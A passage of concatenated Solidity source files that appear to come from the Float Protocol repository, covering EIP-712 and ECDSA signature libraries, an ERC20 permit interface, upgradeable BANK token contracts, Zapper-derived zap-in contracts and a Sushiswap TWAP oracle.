// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
counter._value += 1;
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
counter._value = value - 1;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "./ECDSA.sol";
// Based on OpenZeppelin's draft EIP712, with updates to remove storage variables.
/**
* @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data.
*
* The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible,
* thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding
* they need in their contracts using a combination of `abi.encode` and `keccak256`.
*
* This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding
* scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA
* ({_hashTypedDataV4}).
*
* The implementation of the domain separator was designed to be as efficient as possible while still properly updating
* the chain id to protect against replay attacks on an eventual fork of the chain.
*
* NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method
* https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask].
*
*/
library EIP712 {
bytes32 private constant _TYPE_HASH =
keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
/**
* @dev Returns the domain separator for the current chain.
*/
function domainSeparatorV4(string memory name, string memory version)
internal
view
returns (bytes32)
{
return
_buildDomainSeparator(
_TYPE_HASH,
keccak256(bytes(name)),
keccak256(bytes(version))
);
}
function _buildDomainSeparator(
bytes32 typeHash,
bytes32 name,
bytes32 version
) private view returns (bytes32) {
uint256 chainId;
// solhint-disable-next-line no-inline-assembly
assembly {
chainId := chainid()
}
return
keccak256(abi.encode(typeHash, name, version, chainId, address(this)));
}
/**
* @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this
* function returns the hash of the fully encoded EIP712 message for the given domain.
*
* This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example:
*
* ```solidity
* bytes32 digest = EIP712.hashTypedDataV4(
* EIP712.domainSeparatorV4("DApp Name", "1"),
* keccak256(abi.encode(
* keccak256("Mail(address to,string contents)"),
* mailTo,
* keccak256(bytes(mailContents))
* )));
* address signer = ECDSA.recover(digest, signature);
* ```
*/
function hashTypedDataV4(bytes32 domainSeparator, bytes32 structHash)
internal
pure
returns (bytes32)
{
return ECDSA.toTypedDataHash(domainSeparator, structHash);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in
* https://eips.ethereum.org/EIPS/eip-2612[EIP-2612].
*
* Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by
* presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't
* need to send a transaction, and thus is not required to hold Ether at all.
*/
interface IERC20Permit {
/**
* @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens,
* given ``owner``'s signed approval.
*
* IMPORTANT: The same issues {IERC20-approve} has related to transaction
* ordering also apply here.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `deadline` must be a timestamp in the future.
* - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner`
* over the EIP712-formatted function arguments.
* - the signature must use ``owner``'s current nonce (see {nonces}).
*
* For more information on the signature format, see the
* https://eips.ethereum.org/EIPS/eip-2612.
*/
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
/**
* @dev Returns the current nonce for `owner`. This value must be
* included whenever a signature is generated for {permit}.
*
* Every successful call to {permit} increases ``owner``'s nonce by one. This
* prevents a signature from being used multiple times.
*/
function nonces(address owner) external view returns (uint256);
/**
* @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}.
*/
// solhint-disable-next-line func-name-mixedcase
function DOMAIN_SEPARATOR() external view returns (bytes32);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature)
internal
pure
returns (address)
{
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
} else if (signature.length == 64) {
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
let vs := mload(add(signature, 0x40))
r := mload(add(signature, 0x20))
s := and(
vs,
0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
)
v := add(shr(255, vs), 27)
}
} else {
revert("ECDSA: invalid signature length");
}
return recover(hash, v, r, s);
}
/**
* @dev Overload of {ECDSA-recover} that receives the `v`,
* `r` and `s` signature fields separately.
*/
function recover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
require(
uint256(s) <=
0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0,
"ECDSA: invalid signature 's' value"
);
require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value");
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* produces hash corresponding to the one signed with the
* https://eth.wiki/json-rpc/API#eth_sign[`eth_sign`]
* JSON-RPC method as part of EIP-191.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
// 32 is the length in bytes of hash,
// enforced by the type signature above
return
keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
/**
* @dev Returns an Ethereum Signed Typed Data, created from a
* `domainSeparator` and a `structHash`. This produces hash corresponding
* to the one signed with the
* https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`]
* JSON-RPC method as part of EIP-712.
*
* See {recover}.
*/
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/GSN/ContextUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol";
/**
* @dev {ERC20} BANK token, including:
*
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses OpenZeppelin {AccessControlUpgradeable} to lock permissioned functions
* using the different roles.
* This contract is upgradable.
*/
contract BankToken is Initializable, PausableUpgradeable, AccessControlUpgradeable, ERC20Upgradeable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
@notice Construct a BankToken instance
@param admin The default role controller, minter and pauser for the contract.
@param minter An additional minter (for quick launch of epoch 1).
*/
function initialize(address admin, address minter) public initializer {
__ERC20_init("Float Bank", "BANK");
_setupRole(DEFAULT_ADMIN_ROLE, admin);
_setupRole(MINTER_ROLE, admin);
_setupRole(MINTER_ROLE, minter);
_setupRole(PAUSER_ROLE, admin);
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public virtual {
require(hasRole(MINTER_ROLE, _msgSender()), "Bank::mint: must have minter role to mint");
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "Bank::pause: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public virtual {
require(hasRole(PAUSER_ROLE, _msgSender()), "Bank::unpause: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual
override(ERC20Upgradeable) {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "../lib/Upgradeable.sol";
import "./ERC20PermitUpgradeable.sol";
import "./ERC20PausableUpgradeable.sol";
import "./ERC20SupplyControlledUpgradeable.sol";
/**
* @dev {ERC20} BANK token, including:
*
* - a minter role that allows for token minting (necessary for stabilisation)
* - the ability to burn tokens (necessary for stabilisation)
* - the use of permits to reduce gas costs
* - a pauser role that allows to stop all token transfers
*
* This contract uses OpenZeppelin {AccessControlUpgradeable} to lock permissioned functions
* using the different roles.
* This contract is upgradable.
*/
contract BankTokenV2 is
ERC20PausableUpgradeable,
ERC20PermitUpgradeable,
ERC20SupplyControlledUpgradeable,
Upgradeable
{
/**
* @notice Construct a brand new BankTokenV2 instance
* @param governance The default role controller, minter and pauser for the contract.
* @dev We expect minters to be defined after deploy, e.g. AuctionHouse should get minter role
*/
function initialize(address governance) external initializer {
_version = 2;
__Context_init_unchained();
__ERC20_init_unchained("Float Bank", "BANK");
__ERC20Permit_init_unchained("Float Protocol: BANK", "2");
__ERC20Pausable_init_unchained(governance);
__ERC20SupplyControlled_init_unchained(governance);
_setupRole(DEFAULT_ADMIN_ROLE, governance);
}
/**
* @notice Upgrade from V1, and initialise the relevant "new" state
* @dev Uses upgradeAndCall in the ProxyAdmin, to call upgradeToAndCall, which will delegatecall this function.
* _version keeps this single use
* onlyProxyAdmin ensures this only occurs on upgrade
*/
function upgrade() external onlyProxyAdmin {
require(_version < 2, "BankTokenV2/AlreadyUpgraded");
_version = 2;
_domainSeparator = EIP712.domainSeparatorV4("Float Protocol: BANK", "2");
}
/// @dev Hint to compiler that this override has already occured.
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual override(ERC20Upgradeable, ERC20PausableUpgradeable) {
super._beforeTokenTransfer(from, to, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
/**
* @title Upgradeable
* @dev This contract provides special helper functions when using the upgradeability proxy.
*/
abstract contract Upgradeable {
uint256 internal _version;
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1.
*/
bytes32 internal constant ADMIN_SLOT =
0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
modifier onlyProxyAdmin() {
address proxyAdmin;
bytes32 slot = ADMIN_SLOT;
// solhint-disable-next-line no-inline-assembly
assembly {
proxyAdmin := sload(slot)
}
require(msg.sender == proxyAdmin, "Upgradeable/MustBeProxyAdmin");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "../BasisMath.sol";
contract BasisMathMock {
using BasisMath for uint256;
function _splitBy(uint256 value, uint256 percentage)
public
pure
returns (uint256, uint256)
{
return value.splitBy(percentage);
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
// SPDX-License-Identifier: GPLv2
// Changes:
// - Conversion to 0.7.6
// - library imports throughout
// - remove revert fallback as now default
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
pragma solidity ^0.7.6;
contract ZapBaseV1 is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
bool public stopped = false;
// if true, goodwill is not deducted
mapping(address => bool) public feeWhitelist;
uint256 public goodwill;
// % share of goodwill (0-100 %)
uint256 affiliateSplit;
// restrict affiliates
mapping(address => bool) public affiliates;
// affiliate => token => amount
mapping(address => mapping(address => uint256)) public affiliateBalance;
// token => amount
mapping(address => uint256) public totalAffiliateBalance;
address internal constant ETHAddress =
0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
constructor(uint256 _goodwill, uint256 _affiliateSplit) {
goodwill = _goodwill;
affiliateSplit = _affiliateSplit;
}
// circuit breaker modifiers
modifier stopInEmergency {
if (stopped) {
revert("Temporarily Paused");
} else {
_;
}
}
function _getBalance(address token) internal view returns (uint256 balance) {
if (token == address(0)) {
balance = address(this).balance;
} else {
balance = IERC20(token).balanceOf(address(this));
}
}
function _approveToken(address token, address spender) internal {
IERC20 _token = IERC20(token);
if (_token.allowance(address(this), spender) > 0) return;
else {
_token.safeApprove(spender, uint256(-1));
}
}
function _approveToken(
address token,
address spender,
uint256 amount
) internal {
IERC20 _token = IERC20(token);
_token.safeApprove(spender, 0);
_token.safeApprove(spender, amount);
}
// - to Pause the contract
function toggleContractActive() public onlyOwner {
stopped = !stopped;
}
function set_feeWhitelist(address zapAddress, bool status)
external
onlyOwner
{
feeWhitelist[zapAddress] = status;
}
function set_new_goodwill(uint256 _new_goodwill) public onlyOwner {
require(
_new_goodwill >= 0 && _new_goodwill <= 100,
"GoodWill Value not allowed"
);
goodwill = _new_goodwill;
}
function set_new_affiliateSplit(uint256 _new_affiliateSplit)
external
onlyOwner
{
require(_new_affiliateSplit <= 100, "Affiliate Split Value not allowed");
affiliateSplit = _new_affiliateSplit;
}
function set_affiliate(address _affiliate, bool _status) external onlyOwner {
affiliates[_affiliate] = _status;
}
///@notice Withdraw goodwill share, retaining affilliate share
function withdrawTokens(address[] calldata tokens) external onlyOwner {
for (uint256 i = 0; i < tokens.length; i++) {
uint256 qty;
if (tokens[i] == ETHAddress) {
qty = address(this).balance.sub(totalAffiliateBalance[tokens[i]]);
Address.sendValue(payable(owner()), qty);
} else {
qty = IERC20(tokens[i]).balanceOf(address(this)).sub(
totalAffiliateBalance[tokens[i]]
);
IERC20(tokens[i]).safeTransfer(owner(), qty);
}
}
}
///@notice Withdraw affilliate share, retaining goodwill share
function affilliateWithdraw(address[] calldata tokens) external {
uint256 tokenBal;
for (uint256 i = 0; i < tokens.length; i++) {
tokenBal = affiliateBalance[msg.sender][tokens[i]];
affiliateBalance[msg.sender][tokens[i]] = 0;
totalAffiliateBalance[tokens[i]] = totalAffiliateBalance[tokens[i]].sub(
tokenBal
);
if (tokens[i] == ETHAddress) {
Address.sendValue(msg.sender, tokenBal);
} else {
IERC20(tokens[i]).safeTransfer(msg.sender, tokenBal);
}
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
// SPDX-License-Identifier: GPLv2
// Changes:
// - Conversion to 0.7.6
// - abstract type
// - library imports throughout
pragma solidity ^0.7.6;
import "./ZapBaseV1.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
abstract contract ZapInBaseV2 is ZapBaseV1 {
using SafeMath for uint256;
using SafeERC20 for IERC20;
function _pullTokens(
address token,
uint256 amount,
address affiliate,
bool enableGoodwill,
bool shouldSellEntireBalance
) internal returns (uint256 value) {
uint256 totalGoodwillPortion;
if (token == address(0)) {
require(msg.value > 0, "No eth sent");
// subtract goodwill
totalGoodwillPortion = _subtractGoodwill(
ETHAddress,
msg.value,
affiliate,
enableGoodwill
);
return msg.value.sub(totalGoodwillPortion);
}
require(amount > 0, "Invalid token amount");
require(msg.value == 0, "Eth sent with token");
//transfer token
if (shouldSellEntireBalance) {
require(
Address.isContract(msg.sender),
"ERR: shouldSellEntireBalance is true for EOA"
);
amount = IERC20(token).allowance(msg.sender, address(this));
}
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
// subtract goodwill
totalGoodwillPortion = _subtractGoodwill(
token,
amount,
affiliate,
enableGoodwill
);
return amount.sub(totalGoodwillPortion);
}
function _subtractGoodwill(
address token,
uint256 amount,
address affiliate,
bool enableGoodwill
) internal returns (uint256 totalGoodwillPortion) {
bool whitelisted = feeWhitelist[msg.sender];
if (enableGoodwill && !whitelisted && goodwill > 0) {
totalGoodwillPortion = SafeMath.div(
SafeMath.mul(amount, goodwill),
10000
);
if (affiliates[affiliate]) {
if (token == address(0)) {
token = ETHAddress;
}
uint256 affiliatePortion =
totalGoodwillPortion.mul(affiliateSplit).div(100);
affiliateBalance[affiliate][token] = affiliateBalance[affiliate][token]
.add(affiliatePortion);
totalAffiliateBalance[token] = totalAffiliateBalance[token].add(
affiliatePortion
);
}
}
}
}
// ███████╗░█████╗░██████╗░██████╗░███████╗██████╗░░░░███████╗██╗
// ╚════██║██╔══██╗██╔══██╗██╔══██╗██╔════╝██╔══██╗░░░██╔════╝██║
// ░░███╔═╝███████║██████╔╝██████╔╝█████╗░░██████╔╝░░░█████╗░░██║
// ██╔══╝░░██╔══██║██╔═══╝░██╔═══╝░██╔══╝░░██╔══██╗░░░██╔══╝░░██║
// ███████╗██║░░██║██║░░░░░██║░░░░░███████╗██║░░██║██╗██║░░░░░██║
// ╚══════╝╚═╝░░╚═╝╚═╝░░░░░╚═╝░░░░░╚══════╝╚═╝░░╚═╝╚═╝╚═╝░░░░░╚═╝
// Copyright (C) 2021 zapper
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
///@author Zapper
// SPDX-License-Identifier: GPLv2
// Changes:
// - Uses msg.sender / removes the transfer from the zap contract.
// - Uses IMintingCeremony over IVault
pragma solidity =0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../funds/interfaces/IMintingCeremony.sol";
import "../external-lib/zapper/ZapInBaseV2.sol";
contract FloatMintingCeremonyZapInV1 is ZapInBaseV2 {
using SafeMath for uint256;
// calldata only accepted for approved zap contracts
mapping(address => bool) public approvedTargets;
event zapIn(address sender, address pool, uint256 tokensRec);
constructor(uint256 _goodwill, uint256 _affiliateSplit)
ZapBaseV1(_goodwill, _affiliateSplit)
{}
/**
@notice This function commits to the Float Minting Ceremony with ETH or ERC20 tokens
@param fromToken The token used for entry (address(0) if ether)
@param amountIn The amount of fromToken to invest
@param ceremony Float Protocol: Minting Ceremony address
@param minFloatTokens The minimum acceptable quantity Float tokens to receive. Reverts otherwise
@param intermediateToken Token to swap fromToken to before entering ceremony
@param swapTarget Excecution target for the swap or zap
@param swapData DEX or Zap data
@param affiliate Affiliate address
@return tokensReceived - Quantity of FLOAT that will be received
*/
function ZapIn(
address fromToken,
uint256 amountIn,
address ceremony,
uint256 minFloatTokens,
address intermediateToken,
address swapTarget,
bytes calldata swapData,
address affiliate,
bool shouldSellEntireBalance
) external payable stopInEmergency returns (uint256 tokensReceived) {
require(
approvedTargets[swapTarget] || swapTarget == address(0),
"Target not Authorized"
);
// get incoming tokens
uint256 toInvest =
_pullTokens(
fromToken,
amountIn,
affiliate,
true,
shouldSellEntireBalance
);
// get intermediate token
uint256 intermediateAmt =
_fillQuote(fromToken, intermediateToken, toInvest, swapTarget, swapData);
// Deposit to Minting Ceremony
tokensReceived = _ceremonyCommit(intermediateAmt, ceremony, minFloatTokens);
}
function _ceremonyCommit(
uint256 amount,
address toCeremony,
uint256 minTokensRec
) internal returns (uint256 tokensReceived) {
address underlyingVaultToken = IMintingCeremony(toCeremony).underlying();
_approveToken(underlyingVaultToken, toCeremony);
uint256 initialBal = IERC20(toCeremony).balanceOf(msg.sender);
IMintingCeremony(toCeremony).commit(msg.sender, amount, minTokensRec);
tokensReceived = IERC20(toCeremony).balanceOf(msg.sender).sub(initialBal);
require(tokensReceived >= minTokensRec, "Err: High Slippage");
// Note that tokens are gifted directly, so we don't transfer from vault.
// IERC20(toCeremony).safeTransfer(msg.sender, tokensReceived);
emit zapIn(msg.sender, toCeremony, tokensReceived);
}
function _fillQuote(
address _fromTokenAddress,
address toToken,
uint256 _amount,
address _swapTarget,
bytes memory swapCallData
) internal returns (uint256 amtBought) {
uint256 valueToSend;
if (_fromTokenAddress == toToken) {
return _amount;
}
if (_fromTokenAddress == address(0)) {
valueToSend = _amount;
} else {
_approveToken(_fromTokenAddress, _swapTarget);
}
uint256 iniBal = _getBalance(toToken);
(bool success, ) = _swapTarget.call{value: valueToSend}(swapCallData);
require(success, "Error Swapping Tokens 1");
uint256 finalBal = _getBalance(toToken);
amtBought = finalBal.sub(iniBal);
}
function setApprovedTargets(
address[] calldata targets,
bool[] calldata isApproved
) external onlyOwner {
require(targets.length == isApproved.length, "Invalid Input length");
for (uint256 i = 0; i < targets.length; i++) {
approvedTargets[targets[i]] = isApproved[i];
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/lib/contracts/libraries/FixedPoint.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../external-lib/UniswapV2Library.sol";
import "../external-lib/UniswapV2OracleLibrary.sol";
import "../lib/SushiswapLibrary.sol";
import "./interfaces/ITwap.sol";
// As these are "Time"-Weighted Average Price contracts, they necessarily rely on time.
// solhint-disable not-rely-on-time
/**
* @title A sliding window for AMMs (specifically Sushiswap)
* @notice Uses observations collected over a window to provide moving price averages in the past
* @dev This is a singleton TWAP that only needs to be deployed once per desired parameters. `windowSize` has a precision of `windowSize / granularity`
* Errors:
* MissingPastObsr - We do not have suffient past observations.
* UnexpectedElapsed - We have an unexpected time elapsed.
* EarlyUpdate - Tried to update the TWAP before the period has elapsed.
* InvalidToken - Cannot consult an invalid token pair.
*/
contract Twap is ITwap {
using FixedPoint for *;
using SafeMath for uint256;
struct Observation {
uint256 timestamp;
uint256 price0Cumulative;
uint256 price1Cumulative;
}
/* ========== IMMUTABLE VARIABLES ========== */
/// @notice the Uniswap Factory contract for tracking exchanges
address public immutable factory;
/// @notice The desired amount of time over which the moving average should be computed, e.g. 24 hours
uint256 public immutable windowSize;
/// @notice The number of observations stored for each pair, i.e. how many price observations are stored for the window
/// @dev As granularity increases from, more frequent updates are needed; but precision increases [`windowSize - (windowSize / granularity) * 2`, `windowSize`]
uint8 public immutable granularity;
/// @dev Redundant with `granularity` and `windowSize`, but has gas savings & easy read
uint256 public immutable periodSize;
/* ========== STATE VARIABLES ========== */
/// @notice Mapping from pair address to a list of price observations of that pair
mapping(address => Observation[]) public pairObservations;
/* ========== EVENTS ========== */
event NewObservation(
uint256 timestamp,
uint256 price0Cumulative,
uint256 price1Cumulative
);
/* ========== CONSTRUCTOR ========== */
/**
* @notice Construct a new Sliding Window TWAP
* @param factory_ The AMM factory
* @param windowSize_ The window size for this TWAP
* @param granularity_ The granularity required for the TWAP
*/
constructor(
address factory_,
uint256 windowSize_,
uint8 granularity_
) {
require(factory_ != address(0), "Twap/InvalidFactory");
require(granularity_ > 1, "Twap/Granularity");
require(
(periodSize = windowSize_ / granularity_) * granularity_ == windowSize_,
"Twap/WindowSize"
);
factory = factory_;
windowSize = windowSize_;
granularity = granularity_;
}
/* ========== PURE ========== */
/**
* @notice Given the cumulative prices of the start and end of a period, and the length of the period, compute the average price in terms of the amount in
* @param priceCumulativeStart the cumulative price for the start of the period
* @param priceCumulativeEnd the cumulative price for the end of the period
* @param timeElapsed the time from now to the first observation
* @param amountIn the amount of tokens in
* @return amountOut amount out received for the amount in
*/
function _computeAmountOut(
uint256 priceCumulativeStart,
uint256 priceCumulativeEnd,
uint256 timeElapsed,
uint256 amountIn
) private pure returns (uint256 amountOut) {
// overflow is desired.
FixedPoint.uq112x112 memory priceAverage =
FixedPoint.uq112x112(
uint224((priceCumulativeEnd - priceCumulativeStart) / timeElapsed)
);
amountOut = priceAverage.mul(amountIn).decode144();
}
/* ========== VIEWS ========== */
/**
* @notice Calculates the index of the observation for the given `timestamp`
* @param timestamp the observation for the timestamp
* @return index The index of the observation
*/
function observationIndexOf(uint256 timestamp)
public
view
returns (uint8 index)
{
uint256 epochPeriod = timestamp / periodSize;
return uint8(epochPeriod % granularity);
}
/// @inheritdoc ITwap
function updateable(address tokenA, address tokenB)
external
view
override(ITwap)
returns (bool)
{
address pair = SushiswapLibrary.pairFor(factory, tokenA, tokenB);
uint8 observationIndex = observationIndexOf(block.timestamp);
Observation storage observation = pairObservations[pair][observationIndex];
// We only want to commit updates once per period (i.e. windowSize / granularity).
uint256 timeElapsed = block.timestamp - observation.timestamp;
return timeElapsed > periodSize;
}
/// @inheritdoc ITwap
function consult(
address tokenIn,
uint256 amountIn,
address tokenOut
) external view override(ITwap) returns (uint256 amountOut) {
address pair = SushiswapLibrary.pairFor(factory, tokenIn, tokenOut);
Observation storage firstObservation = _getFirstObservationInWindow(pair);
uint256 timeElapsed = block.timestamp - firstObservation.timestamp;
require(timeElapsed <= windowSize, "Twap/MissingPastObsr");
require(
timeElapsed >= windowSize - periodSize * 2,
"Twap/UnexpectedElapsed"
);
(uint256 price0Cumulative, uint256 price1Cumulative, ) =
UniswapV2OracleLibrary.currentCumulativePrices(pair);
(address token0, address token1) =
UniswapV2Library.sortTokens(tokenIn, tokenOut);
if (token0 == tokenIn) {
return
_computeAmountOut(
firstObservation.price0Cumulative,
price0Cumulative,
timeElapsed,
amountIn
);
}
require(token1 == tokenIn, "Twap/InvalidToken");
return
_computeAmountOut(
firstObservation.price1Cumulative,
price1Cumulative,
timeElapsed,
amountIn
);
}
/**
* @notice Observation from the oldest epoch (at the beginning of the window) relative to the current time
* @param pair the Uniswap pair address
* @return firstObservation The observation from the oldest epoch relative to current time.
*/
function _getFirstObservationInWindow(address pair)
private
view
